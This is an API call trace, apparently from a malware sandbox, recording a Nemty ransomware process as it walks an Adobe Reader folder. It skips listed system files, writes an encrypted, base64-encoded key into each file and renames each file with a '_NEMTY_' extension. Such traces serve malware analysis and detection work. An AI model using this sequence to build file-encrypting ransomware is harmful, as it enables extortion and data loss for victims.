RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.200] GetLastError () returned 0x0 [0215.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.200] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.200] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.200] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="uU0ZspMNaWRbha0gfIZyvhyxzLxcUfzy+PBZtTtWFoyaPv8aDq7nNVZSzdPQJ0qd\r\nlEyU5/z4R7Rvd8eFKQC0YxvcSK8n4buw3GMWrVAmgse2aJ/+E5bHM1iqkpiE7yZJ\r\nTEYYWYa2eHREERqRYaq6qSgYh0VfEYh9kmLpxOa05al04Uv3OE26c5TxmAo9tck/\r\n3bEoTAzCLXrxnxxKXeKWGXteE1s0akCHoIIWaMxsXWK5eyqhJ7Bfw/uqxS1yh6tm\r\nWasMZDs3jHT0viJrshIRltHuGZaOGqmTwFbXAz4DWzbFVtf+397VNJ7aHuoynnhW\r\nzxUDJHQpGb87yygTyAZVSw==\r\n", pcchString=0x653e5dc) returned 1 [0215.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.201] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.201] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.201] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.204] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.204] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.205] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.205] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.205] CloseHandle (hObject=0x2e8) returned 1 [0215.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.205] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.205] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.205] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt._nemty_kgobjgd_")) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.206] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.en_GB_EURO.txt", cAlternateFileName="DIB168~1.TXT")) returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2=".") returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="..") returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="...") returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="windows") returned -1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="rsa") returned -1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="NTDETECT.COM") returned -1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="ntldr") returned -1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="MSDOS.SYS") returned -1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="IO.SYS") returned -1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="boot.ini") returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="boot.ini") returned 1 [0215.206] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="ntuser.dat") returned -1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="desktop.ini") returned 1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="CONFIG.SYS") returned 1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="RECYCLER") returned -1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="bootmgr") returned 1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="programdata") returned -1 [0215.207] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB_EURO.txt", lpString2="appdata") returned 1 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB_EURO.txt", lpUsedDefaultChar=0x0) returned 35 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x63400a0 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB_EURO.txt", lpUsedDefaultChar=0x0) returned 35 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400a0 | out: hHeap=0x4f90000) returned 1 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB_EURO.txt", lpUsedDefaultChar=0x0) returned 35 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB_EURO.txt", cchWideChar=35, lpMultiByteStr=0x6345640, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB_EURO.txt", lpUsedDefaultChar=0x0) returned 35 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.207] Sleep (dwMilliseconds=0x5) [0215.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ea7cd0, dwHighDateTime=0x1d561e8)) [0215.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ea7cd0, dwHighDateTime=0x1d561e8)) [0215.215] GetLastError () returned 0x0 [0215.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.215] GetLastError () returned 0x0 [0215.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.216] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.216] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.216] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0215.216] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="d9Ghx0hj884tGWwnFbyt+O2yeNg0Vws0RH9HYFPhLo6S0+SQEnbZLk3puSZhKWrh\r\nkTKJ5s5xXzWFgCJAZ5zxOhoAzjyBmL2CmNFxPs5JEixQMOskx887yR4v7U7/Eqg8\r\nUzpGNmpJ1+DZtAlqVTEv/XuFtQ4zmAXYATIGwOiV9T4wDPuWrmy488SHm3cOZS1i\r\nnfmn2z6dS4t7H+O/0/f2kOM7Ea7j0MWcKX7j32uRVXD/RbdXzmhrCPl2sMrQyk7Q\r\ndtuG3OzHzlqFEu53jrCsxT4YB1K987HkvoaXQyOSHODb28A1OdUN+9TVApu6xkVx\r\nhDJzGUXtvffDgRTUB2R8Tw==\r\n", pcchString=0x653e5dc) returned 1 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.216] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.216] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.216] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.217] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.220] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.220] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.220] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.220] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.220] CloseHandle (hObject=0x2e8) returned 1 [0215.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.221] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0215.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.221] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt._nemty_kgobjgd_")) returned 1 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.222] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.en_US.txt", cAlternateFileName="DI0A37~1.TXT")) returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2=".") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="..") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="...") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="windows") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="rsa") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="NTDETECT.COM") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="ntldr") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="MSDOS.SYS") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="IO.SYS") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="boot.ini") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="boot.ini") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="ntuser.dat") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="desktop.ini") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="CONFIG.SYS") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="RECYCLER") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="bootmgr") returned 1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="programdata") returned -1 [0215.222] lstrcmpiW (lpString1="DisplayLanguageNames.en_US.txt", lpString2="appdata") returned 1 [0215.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.222] 